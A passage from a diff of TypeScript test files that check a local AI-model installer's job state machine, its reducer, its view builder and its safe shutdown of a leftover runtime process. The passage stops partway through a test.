||||
const processes: Partial<Pick<RuntimeSupervisorDeps, 'commandOfPid' | 'kill'>> = {
|
||||
// What `ps -o command= -p <pid>` prints for the runtime while it lives.
|
||||
commandOfPid: async (pid) => (pid === child.pid && runtime.listening ? `${world.paths.binary} serve` : undefined),
|
||||
kill: (pid, sig) => {
|
||||
signals.push({ pid, signal: sig, folderThere: existsSync(world.paths.runtimeDir) });
|
||||
if (pid === child.pid) signal(sig);
|
||||
},
|
||||
};
|
||||
return { ...api, pick, runtime, child, signals, processes };
|
||||
}
|
||||
|
||||
it('Remove of the job it left ends that runtime BEFORE the folder is deleted', async () => {
|
||||
const { app, runtime, child, signals, processes } = await killedDuringTheDownload();
|
||||
startServer(processes);
|
||||
const removed = await app.inject({ method: 'DELETE', url: '/api/local-model', payload: { removeModel: true } });
|
||||
expect(removed.statusCode).toBe(200);
|
||||
expect(removed.json().data.state).toBe('idle');
|
||||
// The process was signalled while its binary was still on disk, and it is gone.
|
||||
expect(signals).toEqual([{ pid: child.pid, signal: 'SIGTERM', folderThere: true }]);
|
||||
await vi.waitFor(() => expect(runtime.listening).toBe(false));
|
||||
expect(existsSync(world.paths.root)).toBe(false);
|
||||
expect(await readLocalModelState()).toEqual(expect.objectContaining({ schema: 1, state: 'idle' }));
|
||||
}, 60_000);
|
||||
|
||||
it('the next start of the server ends it too: nothing would use it until a click', async () => {
|
||||
const { get, settled, app, runtime, child, signals, processes } = await killedDuringTheDownload();
|
||||
const next = startServer(processes);
|
||||
await next.boot();
|
||||
expect(signals.map((entry) => [entry.pid, entry.signal])).toEqual([[child.pid, 'SIGTERM']]);
|
||||
await vi.waitFor(() => expect(runtime.listening).toBe(false));
|
||||
expect((await get()).install).toMatchObject({ state: 'paused', step: 'model', running: false });
|
||||
|
||||
// Continue starts a runtime of its own on the same port and finishes the install.
|
||||
quickPull(runtime);
|
||||
const resumed = await app.inject({ method: 'POST', url: '/api/local-model/resume', payload: {} });
|
||||
expect(resumed.statusCode).toBe(200);
|
||||
const install = await settled();
|
||||
expect(install).toMatchObject({ state: 'installed', running: true });
|
||||
expect(runtime.state.children).toHaveLength(2);
|
||||
}, 60_000);
|
||||
|
||||
it('a pid that now runs something else is never signalled', async () => {
|
||||
const { app, child, signals } = await killedDuringTheDownload();
|
||||
// The pid was reused by another program since.
|
||||
startServer({
|
||||
commandOfPid: async () => '/Applications/Something.app/Contents/MacOS/Something',
|
||||
kill: (pid, sig) => signals.push({ pid, signal: sig, folderThere: true }),
|
||||
});
|
||||
const removed = await app.inject({ method: 'DELETE', url: '/api/local-model', payload: {} });
|
||||
expect(removed.statusCode).toBe(200);
|
||||
expect(signals).toEqual([]);
|
||||
// Left to the test's own cleanup.
|
||||
child.crash(0);
|
||||
}, 60_000);
|
||||
});
|
||||
@@ -0,0 +1,739 @@
|
||||
/**
|
||||
* @fileoverview The pure half of the local model install job (src/local-model/install-job.ts):
|
||||
* the three tables, the reducer over them, and the view.
|
||||
*
|
||||
* The reducer is tested from the tables it is written against: every state is paired with
|
||||
* every event, and what `INSTALL_TRANSITIONS` says must happen is what happens (a pair the
|
||||
* table does not list hands back the very object it was given). The state table's own
|
||||
* columns (what a restart and Cancel do, which actions are allowed) are checked against the
|
||||
* reducer and the view, so the table in the file header cannot drift from the code.
|
||||
*
|
||||
* The service that drives the job is in test/local-model-install-service.test.ts.
|
||||
*
|
||||
* Port: N/A (pure functions).
|
||||
*/
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import {
|
||||
allowedActions,
|
||||
buildInstallError,
|
||||
buildInstallView,
|
||||
formatInstallMessage,
|
||||
INSTALL_STATE_TABLE,
|
||||
INSTALL_STEP_TABLE,
|
||||
INSTALL_TRANSITIONS,
|
||||
installedBlocker,
|
||||
jobSteps,
|
||||
reduceInstallJob,
|
||||
type InstallJobEvent,
|
||||
type InstallJobEventType,
|
||||
type InstallLiveFacts,
|
||||
} from '../src/local-model/install-job.js';
|
||||
import { OLLAMA_RUNTIME_PIN } from '../src/local-model/runtime.js';
|
||||
import {
|
||||
LOCAL_MODEL_ERROR_LABELS,
|
||||
LOCAL_MODEL_ERROR_NEXT,
|
||||
LOCAL_MODEL_INSTALL_LABELS,
|
||||
LOCAL_MODEL_INSTALL_STEPS,
|
||||
type LocalModelAction,
|
||||
type LocalModelErrorCode,
|
||||
type LocalModelInstallState,
|
||||
type LocalModelInstallStep,
|
||||
type LocalModelStateFile,
|
||||
} from '../src/types.js';
|
||||
|
||||
const STATES: LocalModelInstallState[] = ['idle', 'installing', 'paused', 'failed', 'installed'];
|
||||
const EVENT_TYPES: InstallJobEventType[] = [
|
||||
'install',
|
||||
'progress',
|
||||
'step-done',
|
||||
'fail',
|
||||
'cancel',
|
||||
'restart',
|
||||
'resume',
|
||||
'remove',
|
||||
];
|
||||
const ALL_STEPS: LocalModelInstallStep[] = ['runtime', 'model', 'verify', 'agent', 'connect'];
|
||||
|
||||
const MODEL = { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 };
|
||||
const CLI = { id: 'opencode', label: 'OpenCode' };
|
||||
const RUNTIME = { version: '0.40.15', port: 11435, pid: 4711, enabled: true, measuredTotalBytes: 40_157_944_217 };
|
||||
const CONNECTION = { endpointId: 'local-ollama', flagWasEnabled: false };
|
||||
const LOADED = { context: 131072, sizeBytes: 26_300_000_000, sizeVramBytes: 26_300_000_000 };
|
||||
|
||||
const JOB: LocalModelStateFile = {
|
||||
schema: 1,
|
||||
state: 'installing',
|
||||
step: 'model',
|
||||
steps: ALL_STEPS,
|
||||
model: MODEL,
|
||||
cli: CLI,
|
||||
runtime: RUNTIME,
|
||||
progress: { completedBytes: 6_200_000_000, totalBytes: 23_105_798_956 },
|
||||
};
|
||||
|
||||
/** One state file of each state, as the job leaves it. */
|
||||
const SAMPLE: Record<LocalModelInstallState, LocalModelStateFile> = {
|
||||
idle: { schema: 1, state: 'idle' },
|
||||
installing: JOB,
|
||||
paused: { ...JOB, state: 'paused' },
|
||||
failed: { ...JOB, state: 'failed', error: { code: 'pull-failed', detail: 'tls: bad record MAC' } },
|
||||
installed: {
|
||||
schema: 1,
|
||||
state: 'installed',
|
||||
model: { ...MODEL, pullBytes: 23_105_798_956, digest: 'abc123' },
|
||||
cli: CLI,
|
||||
runtime: RUNTIME,
|
||||
loaded: LOADED,
|
||||
connection: CONNECTION,
|
||||
},
|
||||
};
|
||||
|
||||
/** One event of each type. */
|
||||
const EVENT: Record<InstallJobEventType, InstallJobEvent> = {
|
||||
install: {
|
||||
type: 'install',
|
||||
model: { id: 'gpt-oss:20b', label: 'GPT-OSS 20B', context: 65536 },
|
||||
cli: { id: 'claude', label: 'Claude Code' },
|
||||
steps: ['runtime', 'model', 'verify', 'connect'],
|
||||
},
|
||||
progress: { type: 'progress', completedBytes: 7_000_000_000, totalBytes: 23_105_798_956 },
|
||||
'step-done': { type: 'step-done' },
|
||||
fail: { type: 'fail', code: 'no-tool-call', vars: { model: 'Qwen3.6 35B-A3B' }, nextModelId: 'gpt-oss:20b' },
|
||||
cancel: { type: 'cancel' },
|
||||
restart: { type: 'restart' },
|
||||
resume: { type: 'resume' },
|
||||
remove: { type: 'remove' },
|
||||
};
|
||||
|
||||
/** Freezes an object and everything in it, so a reducer that mutates its input throws. */
|
||||
function deepFreeze<T>(value: T): T {
|
||||
if (typeof value === 'object' && value !== null && !Object.isFrozen(value)) {
|
||||
Object.freeze(value);
|
||||
for (const member of Object.values(value)) deepFreeze(member);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
const LIVE: InstallLiveFacts = {
|
||||
running: false,
|
||||
gaveUp: false,
|
||||
portInUse: false,
|
||||
developerTools: 'present',
|
||||
runtimeInstalled: false,
|
||||
pin: OLLAMA_RUNTIME_PIN,
|
||||
folder: '/Users/me/.codeman/local-model',
|
||||
};
|
||||
|
||||
describe('the tables', () => {
|
||||
it('have a row for every state and every step, and only for those', () => {
|
||||
expect(Object.keys(INSTALL_STATE_TABLE).sort()).toEqual([...STATES].sort());
|
||||
expect(Object.keys(INSTALL_TRANSITIONS).sort()).toEqual([...STATES].sort());
|
||||
expect(Object.keys(INSTALL_STEP_TABLE).sort()).toEqual([...LOCAL_MODEL_INSTALL_STEPS].sort());
|
||||
expect(LOCAL_MODEL_INSTALL_STEPS).toEqual(ALL_STEPS);
|
||||
});
|
||||
|
||||
it('the transition table names only real events and real states', () => {
|
||||
for (const state of STATES) {
|
||||
for (const [type, target] of Object.entries(INSTALL_TRANSITIONS[state])) {
|
||||
expect(EVENT_TYPES).toContain(type);
|
||||
expect(STATES).toContain(target);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
it('is the table of the design: these pairs and no others', () => {
|
||||
expect(INSTALL_TRANSITIONS).toEqual({
|
||||
idle: { install: 'installing', restart: 'idle', remove: 'idle' },
|
||||
installing: {
|
||||
progress: 'installing',
|
||||
'step-done': 'installing',
|
||||
fail: 'failed',
|
||||
cancel: 'paused',
|
||||
restart: 'paused',
|
||||
},
|
||||
paused: { resume: 'installing', install: 'installing', remove: 'idle', restart: 'paused' },
|
||||
failed: { resume: 'installing', install: 'installing', remove: 'idle', restart: 'failed' },
|
||||
installed: { remove: 'idle', restart: 'installed' },
|
||||
});
|
||||
});
|
||||
|
||||
it('every step row names error codes that exist, each with a sentence and a next step', () => {
|
||||
for (const step of LOCAL_MODEL_INSTALL_STEPS) {
|
||||
const row = INSTALL_STEP_TABLE[step];
|
||||
expect(row.errors.length).toBeGreaterThan(0);
|
||||
expect(row.errors).toContain('internal');
|
||||
for (const code of row.errors) {
|
||||
expect(LOCAL_MODEL_ERROR_LABELS[code]).toBeTypeOf('string');
|
||||
expect(LOCAL_MODEL_ERROR_NEXT[code]).toBeTypeOf('string');
|
||||
}
|
||||
}
|
||||
// The two steps that download report byte progress; the others do not.
|
||||
expect(LOCAL_MODEL_INSTALL_STEPS.filter((step) => INSTALL_STEP_TABLE[step].progress)).toEqual(['runtime', 'model']);
|
||||
// The runtime must run for every step that talks to it.
|
||||
expect(LOCAL_MODEL_INSTALL_STEPS.filter((step) => INSTALL_STEP_TABLE[step].needsRuntime)).toEqual([
|
||||
'model',
|
||||
'verify',
|
||||
'connect',
|
||||
]);
|
||||
});
|
||||
|
||||
it('every error code has exactly one sentence and one next step', () => {
|
||||
const codes = Object.keys(LOCAL_MODEL_ERROR_LABELS) as LocalModelErrorCode[];
|
||||
expect(Object.keys(LOCAL_MODEL_ERROR_NEXT).sort()).toEqual([...codes].sort());
|
||||
const sentences = new Set(Object.values(LOCAL_MODEL_INSTALL_LABELS));
|
||||
for (const code of codes) expect(sentences.has(LOCAL_MODEL_ERROR_LABELS[code])).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('jobSteps', () => {
|
||||
it('is every step in order, without the agent step when the coding agent is installed', () => {
|
||||
expect(jobSteps({ agentInstalled: false })).toEqual(['runtime', 'model', 'verify', 'agent', 'connect']);
|
||||
expect(jobSteps({ agentInstalled: true })).toEqual(['runtime', 'model', 'verify', 'connect']);
|
||||
});
|
||||
|
||||
it('hands out a list of its own each time', () => {
|
||||
const steps = jobSteps({ agentInstalled: false });
|
||||
steps.pop();
|
||||
expect(jobSteps({ agentInstalled: false })).toHaveLength(5);
|
||||
expect(LOCAL_MODEL_INSTALL_STEPS).toHaveLength(5);
|
||||
});
|
||||
});
|
||||
|
||||
describe('reduceInstallJob: every state with every event, from the transition table', () => {
|
||||
for (const state of STATES) {
|
||||
for (const type of EVENT_TYPES) {
|
||||
const target = INSTALL_TRANSITIONS[state][type];
|
||||
const current = deepFreeze(structuredClone(SAMPLE[state]));
|
||||
const event = deepFreeze(structuredClone(EVENT[type]));
|
||||
if (target === undefined) {
|
||||
it(`${state} + ${type}: refused, the same object comes back`, () => {
|
||||
expect(reduceInstallJob(current, event)).toBe(current);
|
||||
});
|
||||
} else {
|
||||
it(`${state} + ${type}: ${target}`, () => {
|
||||
const next = reduceInstallJob(current, event);
|
||||
expect(next.state).toBe(target);
|
||||
expect(next.schema).toBe(1);
|
||||
// Pure: the frozen input was not changed (a write to it would have thrown).
|
||||
expect(current).toEqual(SAMPLE[state]);
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
it('covers all 40 pairs, 18 of them listed', () => {
|
||||
const listed = STATES.flatMap((state) => Object.keys(INSTALL_TRANSITIONS[state]));
|
||||
expect(STATES.length * EVENT_TYPES.length).toBe(40);
|
||||
expect(listed).toHaveLength(18);
|
||||
});
|
||||
});
|
||||
|
||||
describe('the state table agrees with the reducer and the view', () => {
|
||||
it.each(STATES)('%s: what a server restart does', (state) => {
|
||||
const row = INSTALL_STATE_TABLE[state];
|
||||
const after = reduceInstallJob(SAMPLE[state], { type: 'restart' });
|
||||
expect(after.state).toBe(row.afterRestart);
|
||||
});
|
||||
|
||||
it.each(STATES)('%s: what Cancel does', (state) => {
|
||||
const row = INSTALL_STATE_TABLE[state];
|
||||
const after = reduceInstallJob(SAMPLE[state], { type: 'cancel' });
|
||||
if (row.afterCancel === null) expect(after).toBe(SAMPLE[state]);
|
||||
else expect(after.state).toBe(row.afterCancel);
|
||||
});
|
||||
|
||||
it.each(STATES)('%s: the allowed actions are the ones whose verb the reducer or the service accepts', (state) => {
|
||||
const row = INSTALL_STATE_TABLE[state];
|
||||
const accepts = (type: InstallJobEventType) => INSTALL_TRANSITIONS[state][type] !== undefined;
|
||||
expect(row.actions.includes('install')).toBe(accepts('install'));
|
||||
expect(row.actions.includes('cancel')).toBe(accepts('cancel'));
|
||||
expect(row.actions.includes('resume')).toBe(accepts('resume'));
|
||||
// Remove is refused only while a job runs. From idle it only clears leftovers, so the
|
||||
// window offers no button for it there.
|
||||
if (state !== 'idle') expect(row.actions.includes('remove')).toBe(accepts('remove'));
|
||||
// The runtime and a session are things of an installed model only.
|
||||
for (const action of ['start', 'stop', 'start-session'] as LocalModelAction[]) {
|
||||
expect(row.actions.includes(action)).toBe(state === 'installed');
|
||||
}
|
||||
});
|
||||
|
||||
it('a restart never leaves a job running, and never changes anything else', () => {
|
||||
for (const state of STATES) {
|
||||
const after = reduceInstallJob(SAMPLE[state], { type: 'restart' });
|
||||
expect(after.state).not.toBe('installing');
|
||||
if (state === 'installing') expect(after).toEqual({ ...SAMPLE.installing, state: 'paused' });
|
||||
else expect(after).toBe(SAMPLE[state]);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('reduceInstallJob: what each event writes', () => {
|
||||
it('install from idle starts at the first step with the model, the coding agent and the steps', () => {
|
||||
expect(reduceInstallJob(SAMPLE.idle, EVENT.install)).toEqual({
|
||||
schema: 1,
|
||||
state: 'installing',
|
||||
step: 'runtime',
|
||||
steps: ['runtime', 'model', 'verify', 'connect'],
|
||||
model: { id: 'gpt-oss:20b', label: 'GPT-OSS 20B', context: 65536 },
|
||||
cli: { id: 'claude', label: 'Claude Code' },
|
||||
});
|
||||
});
|
||||
|
||||
it('a new install replaces a failed job but keeps what is still on disk: the runtime and the connection', () => {
|
||||
const failed: LocalModelStateFile = { ...SAMPLE.failed, connection: CONNECTION, loaded: LOADED };
|
||||
const next = reduceInstallJob(failed, EVENT.install);
|
||||
expect(next).toEqual({
|
||||
schema: 1,
|
||||
state: 'installing',
|
||||
step: 'runtime',
|
||||
steps: ['runtime', 'model', 'verify', 'connect'],
|
||||
model: { id: 'gpt-oss:20b', label: 'GPT-OSS 20B', context: 65536 },
|
||||
// The old job's model is another one: what it left in the store is deleted first.
|
||||
replacedModelId: 'qwen3.6:35b-a3b',
|
||||
cli: { id: 'claude', label: 'Claude Code' },
|
||||
runtime: RUNTIME,
|
||||
connection: CONNECTION,
|
||||
});
|
||||
// Gone: the error, the progress, what the runtime had loaded.
|
||||
expect(next).not.toHaveProperty('error');
|
||||
expect(next).not.toHaveProperty('progress');
|
||||
expect(next).not.toHaveProperty('loaded');
|
||||
});
|
||||
|
||||
it('a new install of the SAME model replaces nothing in the store, and forgets its pull total and digest', () => {
|
||||
const paused: LocalModelStateFile = {
|
||||
...SAMPLE.paused,
|
||||
model: { ...MODEL, pullBytes: 23_105_798_956, digest: 'abc' },
|
||||
};
|
||||
const next = reduceInstallJob(paused, { ...EVENT.install, model: MODEL } as InstallJobEvent);
|
||||
expect(next).not.toHaveProperty('replacedModelId');
|
||||
expect(next.model).toEqual(MODEL);
|
||||
});
|
||||
|
||||
it('a model still waiting to be deleted is carried over a second replacement, unless it is the new choice', () => {
|
||||
const paused: LocalModelStateFile = { ...SAMPLE.paused, replacedModelId: 'qwen3.8:27b' };
|
||||
// Same model again: the older leftover is still to be deleted.
|
||||
expect(reduceInstallJob(paused, { ...EVENT.install, model: MODEL } as InstallJobEvent).replacedModelId).toBe(
|
||||
'qwen3.8:27b'
|
||||
);
|
||||
// Going back to the leftover itself: it is the model that is wanted now.
|
||||
const back = { ...EVENT.install, model: { id: 'qwen3.8:27b', label: 'Qwen3.8 27B', context: 131072 } };
|
||||
expect(
|
||||
reduceInstallJob({ ...paused, model: { ...MODEL, id: 'qwen3.8:27b' } }, back as InstallJobEvent)
|
||||
).not.toHaveProperty('replacedModelId');
|
||||
});
|
||||
|
||||
it('refuses an install whose steps are not a job', () => {
|
||||
const idle = SAMPLE.idle;
|
||||
expect(reduceInstallJob(idle, { ...EVENT.install, steps: [] } as InstallJobEvent)).toBe(idle);
|
||||
expect(reduceInstallJob(idle, { ...EVENT.install, steps: ['model', 'model'] } as InstallJobEvent)).toBe(idle);
|
||||
expect(reduceInstallJob(idle, { ...EVENT.install, steps: ['reboot'] } as unknown as InstallJobEvent)).toBe(idle);
|
||||
});
|
||||
|
||||
it('progress changes the progress and nothing else', () => {
|
||||
const next = reduceInstallJob(SAMPLE.installing, EVENT.progress);
|
||||
expect(next).toEqual({
|
||||
...SAMPLE.installing,
|
||||
progress: { completedBytes: 7_000_000_000, totalBytes: 23_105_798_956 },
|
||||
});
|
||||
});
|
||||
|
||||
it('refuses progress that is not two byte counts', () => {
|
||||
for (const bad of [
|
||||
{ completedBytes: -1, totalBytes: 10 },
|
||||
{ completedBytes: 1.5, totalBytes: 10 },
|
||||
{ completedBytes: Number.NaN, totalBytes: 10 },
|
||||
{ completedBytes: 1, totalBytes: Number.POSITIVE_INFINITY },
|
||||
]) {
|
||||
expect(reduceInstallJob(SAMPLE.installing, { type: 'progress', ...bad })).toBe(SAMPLE.installing);
|
||||
}
|
||||
});
|
||||
|
||||
it('step-done moves to the next step of THIS job and clears the progress', () => {
|
||||
const steps: LocalModelInstallStep[] = ['runtime', 'model', 'verify', 'connect'];
|
||||
let state: LocalModelStateFile = { ...SAMPLE.installing, step: 'runtime', steps };
|
||||
const visited: (LocalModelInstallStep | undefined)[] = [state.step];
|
||||
for (let i = 0; i < 3; i++) {
|
||||
state = reduceInstallJob(state, { type: 'step-done' });
|
||||
expect(state.state).toBe('installing');
|
||||
expect(state).not.toHaveProperty('progress');
|
||||
visited.push(state.step);
|
||||
}
|
||||
// The agent step is not part of this job, so it is never entered.
|
||||
expect(visited).toEqual(steps);
|
||||
});
|
||||
|
||||
it('the last step-done makes the job installed and keeps only what an installation has', () => {
|
||||
const last: LocalModelStateFile = {
|
||||
...SAMPLE.installing,
|
||||
step: 'connect',
|
||||
model: { ...MODEL, pullBytes: 23_105_798_956, digest: 'abc123' },
|
||||
loaded: LOADED,
|
||||
connection: CONNECTION,
|
||||
};
|
||||
expect(reduceInstallJob(last, { type: 'step-done' })).toEqual(SAMPLE.installed);
|
||||
});
|
||||
|
||||
it('refuses a step-done it cannot apply: a state without its step, a last step without a runtime', () => {
|
||||
const noStep: LocalModelStateFile = { schema: 1, state: 'installing', steps: ALL_STEPS, model: MODEL, cli: CLI };
|
||||
expect(reduceInstallJob(noStep, { type: 'step-done' })).toBe(noStep);
|
||||
const foreign: LocalModelStateFile = { ...SAMPLE.installing, step: 'agent', steps: ['runtime', 'model'] };
|
||||
expect(reduceInstallJob(foreign, { type: 'step-done' })).toBe(foreign);
|
||||
const noRuntime: LocalModelStateFile = {
|
||||
schema: 1,
|
||||
state: 'installing',
|
||||
step: 'connect',
|
||||
steps: ALL_STEPS,
|
||||
model: MODEL,
|
||||
cli: CLI,
|
||||
};
|
||||
expect(reduceInstallJob(noRuntime, { type: 'step-done' })).toBe(noRuntime);
|
||||
});
|
||||
|
||||
it('fail keeps the step and the progress as they stood and stores the error', () => {
|
||||
expect(reduceInstallJob(SAMPLE.installing, EVENT.fail)).toEqual({
|
||||
...SAMPLE.installing,
|
||||
state: 'failed',
|
||||
error: { code: 'no-tool-call', vars: { model: 'Qwen3.6 35B-A3B' }, nextModelId: 'gpt-oss:20b' },
|
||||
});
|
||||
// An error without extras is just its code.
|
||||
expect(reduceInstallJob(SAMPLE.installing, { type: 'fail', code: 'internal', vars: {} }).error).toEqual({
|
||||
code: 'internal',
|
||||
});
|
||||
});
|
||||
|
||||
it('cancel pauses at the same step, with the progress as it stood', () => {
|
||||
expect(reduceInstallJob(SAMPLE.installing, { type: 'cancel' })).toEqual(SAMPLE.paused);
|
||||
});
|
||||
|
||||
it('resume re-enters the same step and clears the error', () => {
|
||||
const next = reduceInstallJob(SAMPLE.failed, { type: 'resume' });
|
||||
expect(next).toEqual({ ...SAMPLE.installing });
|
||||
expect(next).not.toHaveProperty('error');
|
||||
expect(reduceInstallJob(SAMPLE.paused, { type: 'resume' }).step).toBe('model');
|
||||
});
|
||||
|
||||
it('remove drops everything, from every state that allows it', () => {
|
||||
for (const state of ['idle', 'paused', 'failed', 'installed'] as const) {
|
||||
expect(reduceInstallJob(SAMPLE[state], { type: 'remove' })).toEqual({ schema: 1, state: 'idle' });
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('allowedActions', () => {
|
||||
it('outside installed it is the state row, whatever is live', () => {
|
||||
for (const state of ['idle', 'installing', 'paused', 'failed'] as const) {
|
||||
expect(allowedActions(SAMPLE[state], { ...LIVE, running: true, gaveUp: true, portInUse: true })).toEqual([
|
||||
...INSTALL_STATE_TABLE[state].actions,
|
||||
]);
|
||||
}
|
||||
expect(allowedActions(SAMPLE.idle, LIVE)).toEqual(['install']);
|
||||
expect(allowedActions(SAMPLE.installing, LIVE)).toEqual(['cancel']);
|
||||
expect(allowedActions(SAMPLE.paused, LIVE)).toEqual(['resume', 'install', 'remove']);
|
||||
expect(allowedActions(SAMPLE.failed, LIVE)).toEqual(['resume', 'install', 'remove']);
|
||||
});
|
||||
|
||||
it('installed and running: a session can be started and the runtime stopped', () => {
|
||||
expect(allowedActions(SAMPLE.installed, { ...LIVE, running: true, digest: 'same' })).toEqual([
|
||||
'start-session',
|
||||
'stop',
|
||||
'remove',
|
||||
]);
|
||||
});
|
||||
|
||||
it('installed and stopped: it can be started, and no session is offered', () => {
|
||||
expect(allowedActions(SAMPLE.installed, LIVE)).toEqual(['start', 'remove']);
|
||||
});
|
||||
|
||||
it('installed and running a model that changed: no session', () => {
|
||||
expect(allowedActions(SAMPLE.installed, { ...LIVE, running: true, digest: 'changed' })).toEqual(['stop', 'remove']);
|
||||
});
|
||||
|
||||
it('a digest that could not be read does not hide the session button: the launch itself reads it again', () => {
|
||||
expect(allowedActions(SAMPLE.installed, { ...LIVE, running: true, digest: 'unknown' })).toContain('start-session');
|
||||
expect(allowedActions(SAMPLE.installed, { ...LIVE, running: true })).toContain('start-session');
|
||||
});
|
||||
|
||||
it('never returns the table row itself', () => {
|
||||
const actions = allowedActions(SAMPLE.idle, LIVE);
|
||||
actions.push('remove');
|
||||
expect(INSTALL_STATE_TABLE.idle.actions).toEqual(['install']);
|
||||
});
|
||||
});
|
||||
|
||||
describe('installedBlocker', () => {
|
||||
it('is nothing outside installed, and nothing for a runtime the person stopped', () => {
|
||||
for (const state of ['idle', 'installing', 'paused', 'failed'] as const) {
|
||||
expect(
|
||||
installedBlocker(SAMPLE[state], { ...LIVE, portInUse: true, gaveUp: true, digest: 'changed' })
|
||||
).toBeUndefined();
|
||||
}
|
||||
expect(installedBlocker(SAMPLE.installed, LIVE)).toBeUndefined();
|
||||
expect(installedBlocker(SAMPLE.installed, { ...LIVE, running: true, digest: 'same' })).toBeUndefined();
|
||||
});
|
||||
|
||||
it('another program on the port: the port, and "Use another port"', () => {
|
||||
expect(installedBlocker(SAMPLE.installed, { ...LIVE, portInUse: true })).toEqual({
|
||||
code: 'port-in-use',
|
||||
message: { text: 'Port {port} is in use by another program.', vars: { port: '11435' } },
|
||||
next: 'other-port',
|
||||
});
|
||||
});
|
||||
|
||||
it('a runtime that keeps stopping: "Start"', () => {
|
||||
expect(installedBlocker(SAMPLE.installed, { ...LIVE, gaveUp: true })).toEqual({
|
||||
code: 'runtime-stopped',
|
||||
message: { text: 'The runtime keeps stopping, so Codeman no longer restarts it.' },
|
||||
next: 'start',
|
||||
});
|
||||
});
|
||||
|
||||
it('a runtime that did not start: what it said, and "Start" to try again (an installed model has no job to resume)', () => {
|
||||
expect(installedBlocker(SAMPLE.installed, { ...LIVE, startFailed: { detail: 'spawn ENOENT' } })).toEqual({
|
||||
code: 'runtime-start-failed',
|
||||
message: { text: 'The runtime did not start on this Mac.' },
|
||||
next: 'start',
|
||||
detail: 'spawn ENOENT',
|
||||
});
|
||||
expect(installedBlocker(SAMPLE.installed, { ...LIVE, startFailed: {} })).toEqual({
|
||||
code: 'runtime-start-failed',
|
||||
message: { text: 'The runtime did not start on this Mac.' },
|
||||
next: 'start',
|
||||
});
|
||||
// A runtime that runs has started: an older failure says nothing any more.
|
||||
expect(
|
||||
installedBlocker(SAMPLE.installed, { ...LIVE, running: true, digest: 'same', startFailed: { detail: 'x' } })
|
||||
).toBeUndefined();
|
||||
});
|
||||
|
||||
it('the port and a runtime that keeps stopping are said before a failed start', () => {
|
||||
const failed = { startFailed: { detail: 'x' } };
|
||||
expect(installedBlocker(SAMPLE.installed, { ...LIVE, ...failed, portInUse: true })?.code).toBe('port-in-use');
|
||||
expect(installedBlocker(SAMPLE.installed, { ...LIVE, ...failed, gaveUp: true })?.code).toBe('runtime-stopped');
|
||||
});
|
||||
|
||||
it('a model that changed: "Remove"', () => {
|
||||
expect(installedBlocker(SAMPLE.installed, { ...LIVE, running: true, digest: 'changed' })).toEqual({
|
||||
code: 'model-changed',
|
||||
message: { text: 'The model on this Mac changed since it was installed. Remove it and install it again.' },
|
||||
next: 'remove',
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('buildInstallView', () => {
|
||||
it('idle: only what is always there, with the runtime download an install would add', () => {
|
||||
expect(buildInstallView(SAMPLE.idle, { ...LIVE, developerTools: 'missing' })).toEqual({
|
||||
state: 'idle',
|
||||
running: false,
|
||||
developerTools: 'missing',
|
||||
runtime: {
|
||||
version: '0.40.15',
|
||||
installed: false,
|
||||
downloadBytes: 185_971_671,
|
||||
downloadGb: '0.2',
|
||||
unpackedGb: '0.6',
|
||||
},
|
||||
folder: '/Users/me/.codeman/local-model',
|
||||
actions: ['install'],
|
||||
});
|
||||
});
|
||||
|
||||
it('once the runtime is unpacked an install downloads nothing for it', () => {
|
||||
const view = buildInstallView(SAMPLE.idle, { ...LIVE, runtimeInstalled: true });
|
||||
expect(view.runtime).toEqual({
|
||||
version: '0.40.15',
|
||||
installed: true,
|
||||
downloadBytes: 0,
|
||||
downloadGb: '0.0',
|
||||
unpackedGb: '0.6',
|
||||
});
|
||||
});
|
||||
|
||||
it('installing: the step, the steps, the choice, the port, and the download as the window prints it', () => {
|
||||
const view = buildInstallView(SAMPLE.installing, { ...LIVE, running: true, bytesPerSecond: 58_000_000 });
|
||||
expect(view).toEqual({
|
||||
state: 'installing',
|
||||
running: true,
|
||||
developerTools: 'present',
|
||||
runtime: {
|
||||
version: '0.40.15',
|
||||
installed: false,
|
||||
downloadBytes: 185_971_671,
|
||||
downloadGb: '0.2',
|
||||
unpackedGb: '0.6',
|
||||
},
|
||||
folder: '/Users/me/.codeman/local-model',
|
||||
actions: ['cancel'],
|
||||
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B' },
|
||||
context: 131072,
|
||||
cli: 'opencode',
|
||||
cliLabel: 'OpenCode',
|
||||
port: 11435,
|
||||
step: 'model',
|
||||
steps: ALL_STEPS,
|
||||
progress: {
|
||||
completedBytes: 6_200_000_000,
|
||||
totalBytes: 23_105_798_956,
|
||||
completedGb: '6.2',
|
||||
totalGb: '23.1',
|
||||
bytesPerSecond: 58_000_000,
|
||||
mbPerSecond: '58',
|
||||
// (23,105,798,956 - 6,200,000,000) / 58,000,000 = 291.5, rounded up.
|
||||
secondsLeft: 292,
|
||||
},
|
||||
});
|
||||
});
|
||||
|
||||
it('a speed is shown only while the job runs: a paused job has its bytes and no speed', () => {
|
||||
const view = buildInstallView(SAMPLE.paused, { ...LIVE, bytesPerSecond: 58_000_000 });
|
||||
expect(view.progress).toEqual({
|
||||
completedBytes: 6_200_000_000,
|
||||
totalBytes: 23_105_798_956,
|
||||
completedGb: '6.2',
|
||||
totalGb: '23.1',
|
||||
});
|
||||
expect(view.actions).toEqual(['resume', 'install', 'remove']);
|
||||
});
|
||||
|
||||
it('a speed of zero has no time left, and a download without a total has no progress at all', () => {
|
||||
const stalled = buildInstallView(SAMPLE.installing, { ...LIVE, bytesPerSecond: 0 });
|
||||
expect(stalled.progress).toMatchObject({ bytesPerSecond: 0, mbPerSecond: '0' });
|
||||
expect(stalled.progress).not.toHaveProperty('secondsLeft');
|
||||
const noTotal = buildInstallView(
|
||||
{ ...SAMPLE.installing, progress: { completedBytes: 0, totalBytes: 0 } },
|
||||
{ ...LIVE, bytesPerSecond: 5 }
|
||||
);
|
||||
expect(noTotal).not.toHaveProperty('progress');
|
||||
});
|
||||
|
||||
it('a job before its port was chosen has no port', () => {
|
||||
